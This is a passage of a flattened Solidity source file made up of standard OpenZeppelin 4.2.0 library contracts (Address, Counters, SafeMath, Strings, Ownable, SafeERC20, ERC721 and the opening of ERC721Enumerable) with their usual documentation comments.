v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/Counters /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/IERC165 /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/IERC721Receiver /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/SafeMath // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/Strings /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/ERC165 /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/IERC721 /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/Ownable /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/SafeERC20 /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/IERC721Enumerable /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/IERC721Metadata /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/ERC721 /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/ERC721Enumerable /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual 